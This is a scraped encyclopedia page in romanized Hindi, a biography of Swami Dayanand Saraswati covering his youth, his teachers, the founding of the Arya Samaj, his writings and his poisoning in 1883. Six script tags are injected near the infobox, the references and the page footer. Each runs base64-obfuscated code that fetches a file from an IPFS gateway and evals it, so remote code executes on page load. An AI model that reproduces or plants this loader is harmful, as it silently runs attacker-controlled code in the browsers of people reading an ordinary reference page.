दयानंद सरस्वती

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
dayanand sarasvati
poora nam svami dayanand sarasvati
janm 12 pharavari, 1824
janm bhoomi morabi, gujarat
mrityu 30 aktoobar, 1883 [1]
mrityu sthan ajamer, rajasthan
abhibhavak ambashankar
guru svami virajanand
mukhy rachanaean satyarth prakash, aryoddeshyaratnamala, gokarunanidhi, vyavaharabhanu, svikarapatr adi.
bhasha hindi
puraskar-upadhi maharshi
vishesh yogadan ary samaj ki sthapana
nagarikata bharatiy
sanbandhit lekh dayanand sarasvati ke prerak prasang
any janakari dayanand sarasvati ke janm ka nam 'moolashankar tivari' tha.
adyatan‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

maharshi svami dayanand sarasvati (janm- 12 pharavari, 1824 - gujarat, bharat; mrityu- 30 aktoobar, 1883 ajamer, rajasthan) ary samaj ke pravartak aur prakhar sudharavadi sannyasi the. jis samay keshavachandr sen brahmasamaj ke prachar mean sanlagn the lagabhag usi samay dandi svami virajanand ki mathura puri sthit kuti se prachand agnishikha ke saman tapobal se prajvalit, vedavidyanidhan ek sannyasi nikala, jisane pahale-pahal sanskritajn vidvatsansar ko vedarth aur shastrarth ke lie lalakara. yah sannyasi svami dayanand sarasvati the.

parichay

prachin rrishiyoan ke vaidik siddhaantoan ki pakshapati prasiddh sanstha, jisake pratishthata svami dayanand sarasvati ka janm gujarat ki chhoti-si riyasat moravi ke tankara namak gaanv mean hua tha. mool nakshatr mean paida hone ke karan putr ka nam moolashankar rakha gaya. moolashankar ki buddhi bahut hi tez thi. 14 varsh ki umr tak unhean rudri adi ke sath-sath yajurved tatha any vedoan ke bhi kuchh aansh kanthasth ho ge the. vyakaran ke bhi ve achchhe jnata the. inake pita ka nam 'ambashankar' tha. svami dayanand balyakal mean shankar ke bhakt the. yah b de medhavi aur honahar the. shivabhakt pita ke kahane par moolashankar ne bhi ek bar shivaratri ka vrat rakha tha. lekin jab unhoanne dekha ki ek chuhiya shivaliang par chadhakar naivedy kha rahi hai, to unhean ashchary hua aur dhakka bhi laga. usi kshan se unaka moortipooja par se vishvas uth gaya. putr ke vicharoan mean parivartan hota dekhakar pita unake vivah ki taiyari karane lage. jyoan hi moolashankar ko isaki bhanak lagi, ve ghar se bhag nikale. unhoanne sir muanda liya aur gerue vastr dharan kar lie. brahmacharyakal mean hi ye bharatoddhar ka vrat lekar ghar se nikal p de. inake jivan ko mote taur se tin bhagoan mean baant sakate haian:

  • ghar ka jivan(1824-1845),
  • bhraman tatha adhyayan (1845-1863) evan
  • prachar tatha sarvajanik seva. (1863-1883)

mahattvapoorn ghatanaean

svami dayanand ji ke prarambhik ghareloo jivan ki tin ghatanaean dharmik mahattv ki haian :

  1. chaudah varsh ki avastha mean moortipooja ke prati vidroh (jab shivachaturdashi ki rat mean inhoanne ek choohe ko shiv ki moorti par chadhate tatha use ganda karate dekha),
  2. apani bahin ki mrityu se atyant du:khi hokar sansar tyag karane tatha mukti prapt karane ka nishchay.
  3. ikkis varsh ki ayu mean vivah ka avasar upasthit jan, ghar se bhagana. ghar tyagane ke pashchath 18 varsh tak inhoanne sannyasi ka jivan bitaya. inhoanne bahut se sthanoan mean bhraman karate hue katipay acharyoan se shiksha prapt ki.

shiksha

bahut se sthanoan mean bhraman karate hue inhoanne katipay acharyoan se shiksha prapt ki. prathamat: vedant ke prabhav mean aye tatha atma evan brahm ki ekata ko svikar kiya. ye advait mat mean dikshit hue evan inaka nam 'shuddh chaitany" p da. pashchath ye sannyasiyoan ki chaturth shreni mean dikshit hue evan yahaan inaki prachalit upadhi dayanand sarasvati huee. thumb|200px|left|dayanand sarasvati
Dayanand Saraswati
phir inhoanne yog ko apanate hue vedant ke sabhi siddhantoan ko chho d diya.

svami virajanand ke shishy

sachche jnan ki khoj mean idhar-udhar ghoomane ke bad moolashankar , jo ki ab svami dayanand sarasvati ban chuke the, mathura mean vedoan ke prakand vidvanh prajnachakshu svami virajanand ke pas pahuanche. dayanand ne unase shiksha grahan ki. mathura ke prajnachakshu svami virajanand, jo vaidik sahity ke mane hue vidvanh the. unhoanne inhean ved padhaya . ved ki shiksha de chukane ke bad unhoanne in shabdoan ke sath dayanand ko chhutti di "maian chahata hooan ki tum sansar mean jaoan aur manushyoan mean jnan ki jyoti phailao." sankshep mean inake jivan ko ham pauranik hindutv se arambh kar darshanik hindutv ke path par chalate hue hindutv ki adhar shila vaidik dharm tak pahuanchata hua pate haian.

haridvar mean

guru ki ajna shirodhary karake maharshi svami dayanand ne apana shesh jivan isi kary mean laga diya. haridvar jakar unhoanne ‘pakhandakhandini pataka’ phaharaee aur moorti pooja ka virodh kiya. unaka kahana tha ki yadi ganga nahane, sir muandane aur bhabhoot malane se svarg milata, to machhali, bhe d aur gadha svarg ke pahale adhikari hote. bujurgoan ka apaman karake mrityu ke bad unaka shraddh karana ve nira dhoang manate the. chhoot ka unhoanne zoradar khandan kiya. doosare dharm valoan ke lie hindoo dharm ke dvar khole. mahilaoan ki sthiti sudharane ke prayatn kie. mithyadanbar aur asamanata ke samarthakoan ko shastrarth mean parajit kiya. apane mat ke prachar ke lie svami ji 1863 se 1875 tak desh ka bhraman karate rahe. 1875 mean apane mumbee mean ‘aryasamaj’ ki sthapana ki aur dekhate hi dekhate deshabhar mean isaki shakhaean khul geean. aryasamaj vedoan ko hi praman aur apaurushey manata hai.

hindi mean granth rachana

aryasamaj ki sthapana ke sath hi svami ji ne hindi mean granth rachana arambh ki. sath hi pahale ke sanskrit mean likhit granthoan ka hindi mean anuvad kiya. ‘rrigvedadi bhashyabhoomika’ unaki asadharan yogyata ka parichayak granth hai. ‘satyarthaprakash’ sabase prasiddh granth hai. ahindi bhashi hote hue bhi svami ji hindi ke prabal samarthak the. unake shabd the - ‘meri aankhean to us din ko dekhane ke lie taras rahian haian, jab kashmir se kanyakumari tak sab bharatiy ek bhasha ko bolane aur samajhane lag jayeange.’ apane vicharoan ke karan svami ji ko prabal virodh ka bhi samana karana p da. un par patthar mare ge, vish dene ke prayatn bhi hue, dubane ki cheshta ki gee, par ve pakhand ke virodh aur vedoan ke prachar ke apane kary par adig rahe.

inhoanne shaivamat evan vedant ka parityag kiya, saankhyayog ko apanaya jo unaka darshanik lakshy tha aur isi darshanik madhyam se ved ki bhi vyakhya ki. jivan ke antim bis varsh inhoanne janata ko apana sandesh sunane mean lagaye. dakshin mean bambee se poora dakshin bharat, uttar mean kalakatta se lahaur tak inhoanne apani shikshaean ghoom-ghoom kar dian. panditoan, maulaviyoan evan padariyoan se inhoanne shastrarth kiya, jisamean kashi ka shastrarth mahattvapoorn tha. is bich inhoanne sahity kary bhi kiye. char varsh ki upadesh yatra ke pashchath ye gangatat par svasthy sudharane ke lie phir baith gaye. dhaee varsh ke bad pun: janaseva ka kary arambh kiya.

ary samaj ki sthapana

1863 se 1875 ee. tak svami ji desh ka bhraman karake apane vicharoan ka prachar karate rahean. unhoanne vedoan ke prachar ka bida uthaya aur is kam ko poora karane ke lie sanbhavat: 7 ya 10 aprail 1875 ee. ko 'ary samaj' namak sanstha ki sthapana ki[2]. shighr hi isaki shakhaean desh-bhar mean phail gee. desh ke saanskritik aur rashtriy navajagaran mean ary samaj ki bahut b di den rahi hai. hindoo samaj ko isase nee chetana mili aur anek sanskaragat kuritiyoan se chhutakara mila. svami ji ekeshvaravad mean vishvas karate the. unhoanne jativad aur bal-vivah ka virodh kiya aur nari shiksha tatha vidhava vivah ko protsahit kiya. unaka kahana tha ki kisi bhi ahindoo ko hindoo dharm mean liya ja sakata hai. isase hianduoan ka dharm parivartan rook gaya.

hindi bhasha ka prachar

svami dayanand sarasvati ne apane vicharoan ke prachar ke lie hindi bhasha ko apanaya. unaki sabhi rachanaean aur sarvadhik mahattvapoorn granth 'satyarth prakash' mool roop mean hindi bhasha mean likha gaya. unaka kahana tha - "meri aankh to us din ko dekhane ke lie taras rahi hai. jab kashmir se kanyakumari tak sab bharatiy ek bhasha bolane aur samajhane lag jaeange." svami ji dharmik sankirnata aur pakhand ke virodhi the. at: kuchh log unase shatruta bhi karane lage. inhian mean se kisi ne 1883 ee. mean doodh mean kaanch pisakar pila diya jisase apaka dehaant ho gaya. aj bhi unake anuyayi desh mean shiksha adi ka mahattvapoorn kary kar rahe haian.

any rachanaean

svami dayanand dvara likhi gayi mahattvapoorn rachanaean - satyarthaprakash (1874 sanskrit), pakhand khandan (1866), ved bhashy bhoomika (1876), rrigved bhashy (1877), advaitamat ka khandan (1873), panchamahayajn vidhi (1875), vallabhachary mat ka khandan (1875) adi.

mahapurushoan ke vichar

svami dayanand sarasvati ke yogadan aur unake vishay mean vidvanoan ke anekoan mat the-

  1. d aau. bhagavan das ne kaha tha ki svami dayanand hindoo punarjagaran ke mukhy nirmata the.
  2. shrimati eni besent ka kahana tha ki svami dayanand pahale vyakti the, jinhoanne 'aryavart (bharat) aryavartiyoan (bharatiyoan) ke lie' ki ghoshana ki.
  3. saradar patel ke anusar bharat ki svatantrata ki nianv vastav mean svami dayanand ne dali thi.
  4. pattabhi sitaramaiya ka vichar tha ki gaandhi ji rashtrapita haian, par svami dayanand rashtr–pitamah haian.
  5. phrench lekhak romaan rolaan ke anusar svami dayanand rashtriy bhavana aur jan-jagriti ko kriyatmak rup dene mean prayatnashil the.

nidhan

svami dayanand sarasvati ka nidhan ek veshya ke kuchakr se hua. jodhapur ki ek veshya ne, jise svami ji ki shikshaoan se prabhavit hokar raja ne tyag diya tha, svami ji ke rasoiye ko apani or mila liya aur vish mila doodh svami ji ko pila diya. isi shadyantr ke karan 30 aktoobar 1883 ee. ko dipavali ke din svami ji ka bhautik sharir samapt ho gaya. lekin unaki shikshaean aur sandesh unaka ‘aryasamaj’ andolan bisavian sadi ke bharatiy itihas mean ek jvalant adhyay likh ge, jisaki anugooanj aj tak suni jati hai.[1]


tika tippani aur sandarbh

  1. 1.0 1.1 sharma 'parvatiy', liladhar bharatiy charit kosh, 2011 (hindi), bharatadiskavari pustakalay: shiksha bharati, dilli, prishth san 371.
  2. varsh 1875 nishchit hai parantu tithi ke sanbandh mean sabhi vishvasaniy srot koee janakari nahian dete. is sanbandh mean satyarth prakash, insaiklopidiya britenika adi sabhi bharatakosh dvara dekhe gaye

bahari k diyaan

Swami Dayanand Saraswati (aangrezi) culturalindia. abhigaman tithi: 25 sitanbar, 2011.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>